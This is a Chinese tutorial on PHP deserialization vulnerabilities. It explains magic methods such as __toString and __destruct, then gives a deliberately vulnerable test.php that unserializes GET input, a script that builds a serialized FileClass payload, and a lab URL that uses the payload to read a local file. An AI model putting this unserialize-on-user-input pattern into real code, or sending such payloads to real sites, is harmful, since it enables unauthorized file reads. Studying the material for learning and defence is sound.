关于反序列化漏洞的一些理解
php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。可以看出,__construct在对象创建时调用,__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。这些魔术函数有点类似c++里的构造函数和析构函数。而反序列化漏洞正是利用魔术函数执行脚本。
序列化函数serialize()执行的操作是保存一个类,至于为什么要保存,可以举一个简单的例子来看一下,比如php中一个脚本b需要调用上一个脚本a的数据,而脚本b需循环多次,因为脚本a执行完后其本身的数据就会被销毁,总不可能b每次循环时都执行一遍脚本a吧,serialize()就是用来保存类的数据的,而unserialize()则是将保存的类的数据转换为一个类。
知道了这些后就可以看反序列化漏洞是如何利用魔术函数的了,先来看一个例子,以下php代码保存为test.php
<?phpclass FileClass{public $filename = 'error.log';// 当对象被作为一个字符串会读取这个文件public function __toString(){return file_get_contents($this->filename);}} class User
{ // Class data public $age = 0; public $name = ''; // 允许对象作为一个字符串输出上面的data public function __toString() { return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; }
} // 用户可控 $obj = unserialize($_GET['usr_serialized']); // 输出__toString echo $obj; ?>
然后创建1.txt
然后创造利用函数1.php
<?php include 'test.php';
$fileobj = new FileClass();
$fileobj->filename = '1.txt'; echo serialize($fileobj); ?>
new fileclass这个类时会调用_tostring()这个魔术函数,通过指定filename为1.txt
访问http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}
成功显示了1.txt的内容。利用成功。
关于反序列化漏洞的一些理解相关推荐
- 序列化和反序列化漏洞的简单理解
1 背景 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.Web ...
- java 反序列化漏洞 利用思路简介
目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...
- Typecho反序列化漏洞分析
0x00 前言 在刷buu 的时候做到一道关于 Typecho 的题 ,[GKCTF2020]EZ三剑客-EzTypecho wp 中说到可以利用Typecho 的 反序列化 poc 来打,感觉直接用 ...
- 调用 php_最全的PHP反序列化漏洞的理解和应用
原创:f1r3K0合天智汇 php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到. 01学习前最好提前掌握的知识 PHP类与对象(https://w ...
- php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用
原创:f1r3K0 php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到. 01学习前最好提前掌握的知识PHP类与对象(https://www.ph ...
- JAVA反序列化漏洞简单理解
反序列化原理 关于反序列化的原理不在多说,和php类似,序列化的数据是方便存储的,而存储的状态信息想要再次调用就需要反序列化 Java反序列化的API实现 实现方法 Java.io.ObjectOut ...
- php phar 混淆,深入理解PHP Phar反序列化漏洞原理及利用方法(一)
Phar反序列化漏洞是一种较新的攻击向量,用于针对面向对象的PHP应用程序执行代码重用攻击,该攻击方式在Black Hat 2018会议上由安全研究员Sam Thomas公开披露.类似于对编译二进制文 ...
- 深入理解JNDI注入与Java反序列化漏洞利用
rmi 和 jndi 这些概念,一直接触,但是看了会儿 还是略微懵逼,这篇文章 暂时理清了我的思路 [承上启下]----------------------------------上边属于我自己瞎扯的 ...
- 个php反序列化漏洞,PHP反序列化漏洞学习(一)
前言:PHP反序列化也是web安全中常见的一种漏洞,这次就先来大致了解一下PHP反序列化漏洞的基础知识. 一.PHP序列化和反序列化 在学习PHP反序列化漏洞时,先来了解一下基础的知识. (一)PHP ...
最新文章
- K8S调度之pod亲和性
- 沼泽鳄鱼_SSL2511_矩阵乘法
- linux支持表情的字体,让应用程序支持emoji字符
- find命令---Linux学习笔记
- JAVA轻量级ORM框架JOOQ体验
- oracle上如何下载java_王二暖Oracle视频教程 下载
- 光猫超级帐号密码,重置光猫获取超级帐号密码
- mysql join 从库_Mysql实现跨库join查询
- html怎么插入word文档,word中怎样插入html代码?
- 工作流:如何将Word尾注转换为普通文本格式
- 02-Hadoop集群搭建
- 局域网稳定性测试软件,局域网速度测试
- STM32——理解时钟系统
- php客流量统计,智慧店铺客流量统计系统
- 电商运营从哪些方面做数据分析?
- 【Unity 框架】QFramework v1.0 使用指南 工具篇:06. UIKit 界面管理快速开发解决方案 | Unity 游戏框架 | Unity 游戏开发 | Unity 独立游戏
- 解决:pandas.errors.ParserError: Error tokenizing data. C error: Expected 2 fields in line 18, saw 4
- 【MATLAB】MATLAB 可视化之极坐标图
- [附源码]java毕业设计在线视频网站
- 2020 03 13 小米实习生一面